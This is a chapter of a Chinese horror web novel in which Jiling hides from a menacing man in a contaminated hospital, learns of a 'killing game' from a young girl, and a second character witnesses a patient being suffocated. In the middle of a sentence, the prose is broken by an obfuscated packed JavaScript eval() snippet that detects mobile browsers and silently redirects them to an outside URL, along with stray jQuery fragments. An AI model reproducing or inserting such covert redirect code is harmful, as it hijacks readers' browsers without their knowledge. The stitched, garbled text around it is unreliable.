13. 玩家还是鬼?

作品:《原来你们只是精神病啊

    季凛踮着脚尖飞跑,她在学校跑百米冲刺时大概也没有这么快过。就在男人的脚步声到达四楼连廊这头的时候,她刚好冲下了楼梯。


    男人的脚步声紧跟着过来。


    “叔叔,和我玩游戏吧。”女孩脆生生的声音响起。


    “不了,我还得去看望我的家人,晚上还要加班。”男人和小女孩说话的音调听起来格外平静。


    “好吧。”女孩十分失望地大声说。


    脚步声再次响起,男人下楼,当他走到楼梯拐角的时候,三楼诊室的情况将会一览无余。


    季凛在最后一秒闪进了诊室,轻轻关上了门。


    胸腔剧烈起伏,她感到有些透不过气来。医生说得对,她的心肺功能确实很差。季凛索性抓起椅子上的一件白大褂,盖在自己身上,麻利地躺下了。


    脚步声停在门外,男人敲了敲门,然后推门进来,慢慢踱到检测台边。


    季凛闭着双眼,控制住呼吸的节律。想起那枯井一般的双眼正在打量自己,她的脊背渗出一层薄薄的冷汗。


    沉默片刻,他说:“你的面色变红润了一些,真好。”


    “……”


    “今天我们领导把我的奖金批下来了,如果你好好活着,我就辞了工作,我们一起回老家。”


    “……”


    “收破烂也好,种地也好,我们开开心心地活着好不好?妈妈。”


    “……”


    季凛心中升腾起一种诡异的感觉,对方为什么要叫她妈妈?


    “妈妈,求你了,我只剩你一个亲人了,你不要丢下我一个人,好吗?”男人像一只小狗一样呜咽,用头蹭了蹭季凛的肩膀。


    谁能拒绝活下去?谁能拒绝暴虐者的眼泪和脆弱?


    季凛万分感谢小女孩的提醒,如果不是她,季凛现在估计已经“腾”地起身并大喊“其实我也很想活”了。


    此刻,她就像一具尸体一样,始终保持沉默,面对眼泪和乞求也不为所动。


    男人终于哭完了,他擦了擦滴落在季凛脸上的冰冷泪水,低声说:“谢谢你。”


    “我先走了,明天再来看你。”


    仿佛一池水突然覆了上来,季凛的身体忽地感到一阵沉重,她在池水中静默地睡去。


    再次醒来时,西装男已经离开了。


    一个黑发女人坐在办公桌边敲着键盘,屏幕上一串串代码不断跳跃。她穿着灰色的高领毛衣和白色裤子,盘发,见季凛醒了,回过头来看她,冷冽的神情中透出一丝温度。


    “妈妈?你怎么会在这里?”季凛惊道。


    女人似乎有些不解,只当她是没睡醒,边拉开窗帘边说,“是你赖着要在我的书房睡觉的呀。外卖到了,我们出去吃。”


    季凛缓缓起身,走向窗边,窗外是高远的天际线,天是湛蓝的,白云层层叠叠,楼下小区的广场上有大人在散步,小孩在嬉戏。


    一派祥和。仿佛末世并未真正存在过一样。


    “点了你爱吃的小炒黄牛肉和干煸豆丝,再加了个上汤娃娃菜。”母亲一边关掉电脑,一边往房间门外走去。


    一切如常。饶是季凛这样擅长观察的人,也看不出什么破绽。医院和诊疗室彻底消失了,这就是她旧日的家。她曾在这间屋子里写过作业、看过电影,也偷偷溜进来翻阅过母亲不让她读的小说。


    连书籍摆放的顺序都能和她的记忆一一对应上。


    季凛哑声张了张嘴,没有吐出一个字,害怕开口就会将这镜花水月击碎。


    “对了,”女人站在门边回头看她,“我跟你开的第24个玩笑,解开了吗?”


    第24个玩笑?季凛想不起来了。


    女人双脚踏出门,冷冷地说,“再好好想想。”


    说罢,她关门离开了。


    季凛追了上去,门一开,医院环状的大楼内部再次出现在她眼前,女人已经消失不见了。


    再回头,旧日的书房又变成了那间诊疗室,透明的窗子早已消失不见。屋子里仍旧伫立着那台庞大、纯白的检测仪。


    季凛怅然若失地站在那里,静默良久,听见一声叫唤。


    “姐姐。”


    “快醒醒。”


    季凛努力睁开眼,她仍旧躺在检测台上,眼前是洁白的天花板。小女孩趴在她边上看她。


    季凛猛地坐起,她睡的时间不长,大概五六分钟,但手环显示她刚刚进入了深度睡眠。


    她其实很少做梦,更难梦见末世前的记忆,那些记忆就如同影子见了光,从不会主动来找她。很奇怪,竟然会在这种时刻梦到妈妈。


    她这是被催眠了?


    长手怪到底是什么人?为什么会变成这样?可惜她没办法睁开双眼近距离观察他,现在从他身上读不出任何信息。


    季凛下了检测台,跪坐在地上,和女孩的身高齐平,问道:“晓沐,你说的游戏到底是什么?”


    小女孩环顾四周,捂着季凛的耳朵悄声说:“这是一个杀人游戏,我的爸爸和长手怪都是玩家,他们杀掉的人越多,力量就会越强,如果一个玩家杀的人排名最末尾,他就会死掉。”


    季凛一怔,有些无法相信这话是从一个十岁出头的小女孩口中说出的。


    她问:“你是玩家吗?”


    小女孩摇摇头,“我也是鬼。”


    “鬼?”


    “对,就是玩家要杀的对象。你也是鬼。”


    季凛沉默良久,有些呆滞地问,“你不害怕吗?”


    小女孩歪歪头,眼眶红了,“害怕,但是爸爸跟我说,鬼死了以后就会在下一轮游戏中变成玩家,玩家死了,就是真的死了。”


    季凛懂了,在这个游戏规则里,人被污染物杀了就会变成污染物,污染物死了,就会彻底消失。


    她还懂了,医生把女孩留在身边,或许是为了给自己留下至少一个战利品,如果他死了,女孩必死无疑,如果他杀死女孩,让自己不成为最后排名最末的玩家,他们父女就还能一起作为污染物活着。


    季凛有些恨自己过于敏捷的逻辑推导能力。奶奶常说,人性中过于幽深的地方不要去探查,可季凛总是轻而易举地看得透一个人在想什么。


    “那么,你是怎么躲过长手男的询问的?”季凛接着追问。


    女孩摇摇头,“其实并没有什么诀窍,他说他对小孩子的生命不感兴趣。”


    “仅仅是这样?”


    “嗯,他告诉过我,说他的工作是有原则的。”


    季凛追问:“你是说,他觉得这是他的工作?”


    “对呀。每个人都有工作的呀。”晓沐摆出小大人的语气说。


    她说得似乎有些道理,这些已经被污染了的人,还在继续维持自己岗位上的工作。陈医生的行为举止最多看起来有些神经质,但在日常生活中其实并没有多少人会在意。


    晓沐抱着季凛的胳膊,就像抱着救命稻草一样:“姐姐,能不能帮帮我爸爸?”


    “怎么帮?”


    小女孩眨着单纯的眼睛,带着一种天真的残忍,说,“他需要一颗完美的大脑,你能不能把你的大脑换给他?”


    季凛看着女孩满含期待的眼神


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224358|181676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,不应声,缓缓松开了扶着女孩的手。她已经学会了,在这个污染区,最好不要答应也不要拒绝任何请求。她反问道:“他为什么需要我的大脑?”


    小女孩说:“有一颗完美的大脑,他就可以赢得游戏,这是他告诉我的。”


    季凛不应声,她在思考女孩的哪些话是真的,哪些话是假的。


    如果整个污染区就是小女孩说的游戏的话,这个游戏可太难玩了。每个怪异的污染物背后似乎都有不同的行为逻辑。再考虑到系统提供的信息——“某个污染物的情绪崩溃也会直接增加其他污染物的力量。”


    那就意味着,只有搞清楚所有污染物的行动规则后,才能想办法破局。


    想到这里,季凛头都大了。


    这时,医生的声音在大楼中响起,“喂,晓沐,你该回来写作业了。”


    女孩着急地抹了抹眼睛,对季凛说:“姐姐,记住,时针指向十二的时候,游戏就会结束。我等会儿再来找你。”


    说罢,她急匆匆地离开了。


    季凛看了看时间,现在是的时间是18:15。


    她把刚刚总结出来的信息同步到了工作群里,希望队友能够分享其他大楼的信息,可是,群里依然没有任何动静。


    **


    叶念柏的手环悄无声息地震动了几下,可是她无暇去看。


    她紧紧抱着妹妹,靠在病床边。床尾坐着一个沉默的男人,他冲叶念柏比划了一个噤声的手势。


    叶念柏同样冲妹妹如此示意,妹妹点了点头。


    这间病房原本有三张病床,分别用蓝色的帘子隔开。叶念柏她们所在这张病床在最里侧,床帘被拉上了,叶念柏隐约能够透过缝隙看见隔壁病床的景象。


    一个穿着西装的黑色的身影静静立在床边,他很高,如果他再走近点,几乎就可以轻易越过门帘顶部瞧见他们。


    虽然她看过季凛的提示后已经把房间的灯关了,可西装男还是走进了这间房间。


    坐在床尾的男人和叶念柏一起躲在妹妹这张病床上,而另一张病床上的人正处于昏迷状态,不管怎么样,他都没办法张口回答男人的话。


    男人已经说了很多话,可躺在病床上的人仍旧无动于衷。叶念柏感到他已经有些烦躁了。


    “喂?你能答应我吗?”


    “……”


    “告诉我,你打算什么时候死?”


    “……”


    “今天?还是明天?”


    回答他的只有无尽的沉默。


    西装男猛地踹翻了靠近门的那张空着的病床,恼道:“怎么?都快要死了,你还是这么看不起我吗?”


    房间里静得可怕,叶念柏屏住了呼吸。


    躺在床上的病人似乎被惊动了,他的呼吸声更大了一些,呼吸声在氧气面罩下显得格外清晰。


    男人缓缓俯下身,凑近病人的脸。


    他喃喃道:“呼吸,也算时间的,呼吸,也算钱的。”


    “可是,治疗费好贵,不如你现在就死了算了吧。”


    说罢,他发狂一般大笑起来,那声音似哭似笑,如痴呆的幼童和邪恶的疯子的混合体。


    他如同枯树枝一般的手指点在氧气罩上。


    “咻”的一声。叶念柏意识到那应该是空气被抽走的声音,病床上的人抽动小腿,胡乱蹬了几下,很快就没声了。


    坐在床尾的男人瑟瑟发抖,仍不忘对叶念柏摆出噤声的手势。


    西装男喘了几口粗气,他的肺部发出风箱一般的撕扯声。他缓缓起身,看向床帘后的那张床。